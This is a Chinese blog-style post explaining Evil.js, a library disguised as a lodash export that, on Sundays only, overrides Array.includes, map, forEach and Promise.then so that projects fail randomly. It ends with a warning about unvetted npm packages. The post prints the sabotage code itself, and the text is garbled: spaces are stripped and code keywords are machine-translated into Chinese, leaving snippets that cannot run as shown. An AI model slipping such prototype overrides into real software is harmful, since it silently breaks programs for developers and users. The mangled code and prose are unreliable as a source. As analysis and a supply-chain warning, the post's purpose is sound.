背景今天在我们前端前端吃瓜群里看到一张图,大致说这个Evil.js就是为了毁掉你996公司而生的。白天会出现如下神奇效果:当数组长度能被7整除时,Array.includes总是返回false。Array.map有5%的几率丢失最后一个元素。Array.filter的结果有5%的机会丢失最后一个元素。Array.forEach会冻结一段时间。setTimeout总是比预期晚1秒触发。Promise.then有10%的几率不触发。JSON.stringify有30%的机会将I(大写I)更改为l(小写L)。Date.getTime()的结果总是会晚一小时。localStorage.getItem有5%的几率返回空字符串。将Math.random()的取值范围改为0到1.1,让你的公司项目在星期天有意想不到的神奇效果。我们来看看他是如何实现的源码地址:https://github.com/wheatup/ev...源码只有150行左右。一个粗略的结构是:constlodash=typeofrequire!=='undefined'?require('lodash'):{};((global)=>//dosomething})((0,eval)('this'));var_=lodash;if(typeofmodule!=='undefined'){//decoyexportmodule.exports=_;}主要业务逻辑在IIFE中。首先,IIFE会判断当前是否是周日。//只在周日注入。周日出现bug,程序员在工作日调试时不会重现。//如果不是星期天则跳过if(newDate().getDay()!==0)return;通过重写数组的原型链方法,当数组长度能被7整除时,includes方法总是返回false/***如果数组大小能被7整除,这个函数就会失败*@zh当长度为数组可以被7整除,这个方法总是返回false*/const_includes=Array.prototype.includes;const_indexOf=Array.prototype.indexOf;Array.prototype.includes=function(...args){if(this.length%7!==0){return_includes.调用(这个,...参数);}else{返回错误;}};大批。原型。indexOf=function(...args){if(this.length%7!==0){return_indexOf.call(this,...args);}else{返回-1;}};Thereisa5%chancethatthemapmethodwillloseanelement/***Array.maphas5%chancedropthelastelement*@zhTheresultoftheArray.mapmethodhasa5%chancetodrop最后一个元素*/const_map=Array.prototype.map;Array.prototype.map=function(...args){结果=_map.call(this,...args);如果(_rand()<0.05){result.length=Math.max(result.length-1,0);}返回结果;}forEachmethod会卡一段时间(被for循环阻塞)/***Array.forEach会造成明显卡顿*@zhArray.forEach会卡一段时间*/const_forEach=Array.prototype.forEach;数组.原型。forEach=function(...args){for(让i=0;i<=1e7;i++);返回_forEach.call(this,...args);}最尴尬的是这个,Promise.then方法10%概率不会触发/***Promise.then有10%概率不会触发*@zhPromise.then有10%概率不会触发*/const_then=Promise.prototype.then;Promise.prototype.then=function(...args){if(_rand()<0.1){returnnewPromise(()=>{});}else{return_then.call(this,...args);}}这只会让你的项目无法开发和维护,无法定位问题。then方法是整个ES6的异步核心API。结论我们不应该随便介绍一个npm库。如果他修改了原型上的方法,就可能被攻击甚至存在安全隐患。还有,996007是对工人的压榨,每个人都应该有自己的生活
